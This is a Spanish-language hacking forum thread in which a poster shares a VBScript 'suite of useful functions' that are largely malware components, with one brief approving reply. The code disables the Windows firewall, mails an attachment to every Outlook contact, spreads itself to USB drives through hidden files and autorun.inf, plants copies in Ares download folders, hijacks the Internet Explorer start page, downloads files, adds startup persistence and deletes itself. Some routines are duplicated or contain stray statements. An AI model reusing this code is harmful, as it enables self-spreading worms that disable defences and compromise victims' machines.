comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[VBS] Suite de Funciones Utiles

  • 1 Respuestas
  • 2471 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado 79137913

  • *
  • Moderator
  • Mensajes: 626
  • Actividad:
    15%
  • Reputación 10
  • 4 Esquinas
    • Ver Perfil
    • Doors.Party
    • Email
  • Skype: fg_mdq@hotmail.com
« en: Febrero 05, 2013, 11:48:14 am »
HOLA!!!

Aqui una pequeña suite de funciones que arme:

Varias:
Código: Visual Basic
  1. Sub DisableFirewall()
  2. if  Val(Mid$(GetOsVersion,1,1)) > 5 Then Exit Sub
  3.     Set Firewall = CreateObject("HNetCfg.FwMgr")
  4.     Set Politica = Firewall.LocalPolicy.CurrentProfile
  5.     Politica.FirewallEnabled = FALSE
  6. Set Firewall = Nothing: Set Politica = Nothing
  7. End Sub
  8.  
  9. Sub AddFirewallAuth(AppName,Spath,SFile)
  10. if  Val(Mid$(GetOsVersion,1,1)) > 5 Then Exit Sub
  11.     Set objFirewall = CreateObject("HNetCfg.FwMgr")
  12.     Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
  13.     Set objApplication = CreateObject("HNetCfg.FwAuthorizedApplication")
  14.     objApplication.Name = "ElHacker.net - Aplicación"
  15.     objApplication.IPVersion = 2
  16.     objApplication.ProcessImageFileName = "C:\Windows\System32\calc.exe"
  17.     objApplication.RemoteAddresses = "*"
  18.     objApplication.Scope = 0
  19.     objApplication.Enabled = True
  20.     Set colApplications = objPolicy.AuthorizedApplications
  21.     colApplications.Add(objApplication)
  22.     Set objFirewall = Nothing: Set objPolicy = Nothing: Set objApplication = Nothing: Set colApplications = Nothing
  23. End Sub
  24.  
  25. Sub ChangeIETitle(NewTitle)
  26.    On Error Resume Next
  27.    Set WSHShell = WScript.CreateObject("WScript.Shell")
  28.    WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", NewTitle
  29.    WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Internet Explorer\Main\Window Title", NewTitle
  30. End Sub
  31.  
  32. Function GetLastTweet(Twitter)
  33.     Aux = GetHTMLSource("http://twitter.com/users/show.xml?screen_name=" & Twitter)
  34.     GetLastTweet = Mid$(Aux,6+instr(Aux,"<text>"),instr(Aux,"</text>")-6-instr(Aux,"<text>"))
  35. End Function
  36.  
  37. Sub SpreadOutLook(Message,Subject,SPath, SFile)
  38. Set Contacts = WScript.CreateObject("Outlook.Application").GetNamespace("MAPI").GetDefaultFolder(10)
  39. Cant = Contacts.Items.Count
  40. For X = 1 to Cant
  41.     If Contacts.Items.Item(x).Email1Address <> "" Then
  42.         Set Email = CreateObject("Outlook.Application").CreateItem(0)
  43.         Email.To = Contacts.Items.Item(x).Email1Address
  44.         Email.Subject = Replace(Subject,"%nombre%",Contacts.Items.Item(x).FullName)
  45.         Email.ReadReceiptRequested = False
  46.         Email.HTMLBody = Replace(Message,"%nombre%",Contacts.Items.Item(x).FullName)
  47.         Email.Attachments.Add ConvertPath(SPath, SFile)
  48.         Email.Send
  49.     End If
  50. next
  51. End Sub
  52.  
  53. Function GetHTMLSource(URL)
  54.     On Error Resume Next
  55.     Set http = CreateObject("Microsoft.XmlHttp")
  56.     http.open "GET", URL, False
  57.     http.send ""
  58.      GetHTMLSource =  http.responseText
  59.     Set http = Nothing
  60. End Function
  61.  
  62. Sub USBSpread()
  63. On Error Resume Next
  64. Set fso = CreateObject("scripting.filesystemobject")
  65. For Each Drive in fso.Drives
  66.     If Drive.Isready then
  67.         If  asc(Drive.driveletter) > 68 then
  68.             If not (fso.FileExist(Drive & "\" & MyName)) then
  69.                 fso.CopyFile MyFullPath,Drive & "\" & MyName,True
  70.                 HideFile Drive,MyName
  71.             End If
  72.             If not (fso.FileExist(Drive & "\autorun.inf")) then
  73.                 Set objTXT = fso.CreateTextFile(Drive & "\autorun.inf",True)
  74.                 objTXT.WriteLine("[autorun]")
  75.                 objTXT.WriteLine("shellexecute = " & MyName)
  76.                 objTXT.WriteLine("action = " & MyName)
  77.                 objTXT.Close
  78.                 HideFile Drive,autorun.inf
  79.                 Set objTXT = Nothing
  80.         End If
  81.     End If
  82. Next
  83. Set fso = Nothing
  84. End Sub
  85.  
  86. Sub AresSpread(Spath, SFile, SpreadFilenames())
  87.     Set fso = CreateObject("scripting.filesystemobject")
  88.     If KeyExists("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder") Then
  89.         RutaCom = HEX2ASCII(CreateObject("wscript.shell").RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder"))
  90.         For x = 0 to Ubound(SpreadFilenames)
  91.             fso.CopyFile ConvertPath(Spath, SFile),RutaCom & "\" & SpreadFilenames(x),True
  92.         Next
  93.     End If
  94.     Set fso = Nothing
  95. End Sub
  96. Set fso = Nothing
  97. End Sub
  98.  
  99. Function KeyExists(key)
  100.     On Error Resume Next
  101.     CreateObject("WScript.Shell").RegRead(key)
  102.     If Err = 0 Then KeyExists = True
  103. End Function
  104.  
  105. Function GetOsVersionCaption()
  106.     For Each os in GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2").ExecQuery("Select Caption from Win32_OperatingSystem")
  107.         GetOsVersionCaption = os.Caption
  108.     Next
  109. End Function
  110.  
  111. Function GetOsVersion()
  112.      For Each os in  GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2").ExecQuery("Select Version from Win32_OperatingSystem")
  113.         GetOsVersion = os.Version
  114.     Next
  115. End Function
  116.  
  117. Function GetComputerName()
  118.     GetComputerName = CreateObject("WScript.NetWork").ComputerName
  119. End Function
  120.  
  121. Function GetUserName()
  122.     GetUserName = CreateObject("WScript.NetWork").UserName
  123. End Function
  124.  
  125. Sub KillProc(ProcName)
  126.     strComputer = "."
  127.     Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
  128.     For x  = 0 To UBound(KillProcess)
  129.         Set colProcessList = objWMIService.ExecQuery ("Select * from Win32_Process Where Name = '" & ProcName & "'")
  130.         For Each objProcess in colProcessList
  131.             objProcess.Terminate()
  132.         Next
  133.     Next
  134.     Set objWMIService = Nothing: Set ColProcessList = Nothing
  135. End Sub
  136.  
  137. Sub SetStartIE(StartPage)
  138.     Set WSHShell = WScript.CreateObject("WScript.Shell")
  139.     WSHShell.RegWrite "HKLM\Software\Microsoft\Internet Explorer\Main\Start Page", StartPage
  140.     WSHShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", StartPage
  141.     Set WSHShell = Nothing
  142. End Sub
  143.  
  144. Sub Restart()
  145.     strComputer = "."
  146.     Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")
  147.     Set colOperatingSystems = objWMIService.ExecQuery ("Select * from Win32_OperatingSystem")
  148.     For Each objOperatingSystem in colOperatingSystems
  149.         objOperatingSystem.Reboot()
  150.     Next
  151.     Set objWMIService = Nothing: Set colOperatingSystems = Nothing
  152. End Sub
  153.  
  154. Sub Shutdown()
  155.     strComputer = "."
  156.     Set objWMIService = GetObject ("winmgmts:{impersonationLevel=impersonate,(Shutdown)}\\" & strComputer & "\root\cimv2")
  157.     Set colOperatingSystems = objWMIService.ExecQuery ("Select * from Win32_OperatingSystem")
  158.     For Each objOperatingSystem in colOperatingSystems
  159.         objOperatingSystem.Win32Shutdown(1)
  160.     Next
  161.     Set objWMIService = Nothing: Set colOperatingSystems = Nothing
  162. End Sub
  163.  
  164. Function Base64Decode(ByVal base64String)
  165.   Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  166.   Dim dataLength, sOut, groupBegin
  167.   base64String = Replace(base64String, vbCrLf, "")
  168.   base64String = Replace(base64String, vbTab, "")
  169.   base64String = Replace(base64String, " ", "")
  170.   dataLength = Len(base64String)
  171.   For groupBegin = 1 To dataLength Step 4
  172.     Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
  173.     numDataBytes = 3
  174.     nGroup = 0
  175.     For CharCounter = 0 To 3
  176.       thisChar = Mid(base64String, groupBegin + CharCounter, 1)
  177.       If thisChar = "=" Then
  178.         numDataBytes = numDataBytes - 1
  179.         thisData = 0
  180.       Else
  181.         thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
  182.       End If
  183.       If thisData = -1 Then
  184.         Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
  185.         Exit Function
  186.       End If
  187.       nGroup = 64 * nGroup + thisData
  188.     Next
  189.     nGroup = Hex(nGroup)
  190.     nGroup = String(6 - Len(nGroup), "0") & nGroup
  191.     pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
  192.     sOut = sOut & Left(pOut, numDataBytes)
  193.   Next
  194.   Base64Decode = sOut
  195. End Function

Depende de HexToAscii:
Código: Visual Basic
  1. Function HEX2ASCII(hextext)
  2.     For y = 0 To (Len(hextext)/2) - 1
  3.         HEX2ASCII  = HEX2ASCII  & Chr(Val("&h" & Mid(hextext, (y*2)+1, 2)))
  4.     Next
  5. End Function
  6.  
  7. Sub AresSpread(Spath, SFile, SpreadFilenames())
  8.     Set fso = CreateObject("scripting.filesystemobject")
  9.     If KeyExists("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder") Then
  10.         RutaCom = HEX2ASCII(CreateObject("wscript.shell").RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder"))
  11.         For x = 0 to Ubound(SpreadFilenames)
  12.             fso.CopyFile ConvertPath(Spath, SFile),RutaCom & "\" & SpreadFilenames(x),True
  13.         Next
  14.     End If
  15.     Set fso = Nothing
  16. End Sub
  17. Set fso = Nothing
  18. End Sub

Dependen de convertpath:

Código: Visual Basic
  1. Function ConvertPath(Spath, SFile)
  2.     If Ucase(SPath) = "MYPATH" then ConvertPath = MyPath: Exit Function
  3.     If Ucase(SPath) = "FULLPATHONFILENAME" THEN ConvertPath = SFile: Exit Function
  4.     If Ucase(SPath) = "STARTUP" then Spath = CreateObject("WScript.Shell").SpecialFolders("StartMenu")
  5.     ConvertPath = Spath  & "\" & SFile
  6. End Function
  7.  
  8. Sub CopyToStartUP(Spath, SFile)
  9.     CreateObject("scripting.filesystemobject") .CopyFile ConvertPath(Spath, SFile),CreateObject("WScript.Shell").SpecialFolders("StartMenu") & "\" & Sfile,True
  10. End Sub
  11.  
  12. Sub DeleteFile(Spath, SFile)
  13.     CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(Spath, SFile)
  14. End Sub
  15.  
  16. Sub Download(UrlDownload, SPath, SFile)
  17.     dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
  18.     dim bStrm: Set bStrm = createobject("Adodb.Stream")
  19.     xHttp.Open "GET", UrlDownload, False
  20.     xHttp.Send
  21.     bStrm.type = 1
  22.     bStrm.Open
  23.     bStrm.Write xHttp.responseBody
  24.     bStrm.SaveToFile ConvertPath(Spath, SFile), 2 'bStrm.SaveToFile
  25.    Do while not CreateObject("scripting.filesystemobject").FileExists(ConvertPath(Spath, SFile)) : WScript.Sleep 500 :    Loop
  26. End Sub
  27.  
  28. Sub FileCopy(Spath, SFile, Spath2, SFile2)
  29.     CreateObject("scripting.filesystemobject").CopyFile ConvertPath(Spath, SFile),ConvertPath(Spath2, SFile2),True
  30. End Sub
  31.  
  32. Sub HideFile(Spath, SFile)
  33. CreateObject("scripting.filesystemobject").GetFile(ConvertPath(Spath, SFile)).Attributes = -2
  34. End Sub
  35.  
  36. Sub Melt()
  37.     DeleteFile "FULLPATHONFILENAME", WScript.ScriptFullName
  38. End Sub

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scout Team*                                                   You are not allowed to view links. Register or Login

Desconectado stakewinner00

  • *
  • Underc0der
  • Mensajes: 31
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Febrero 05, 2013, 06:06:47 pm »
Muy interesante.

 

¿Te gustó el post? COMPARTILO!



La biblia de las Funciones

Iniciado por ProcessKill

Respuestas: 2
Vistas: 2565
Último mensaje Enero 23, 2013, 09:03:17 am
por Pr0ph3t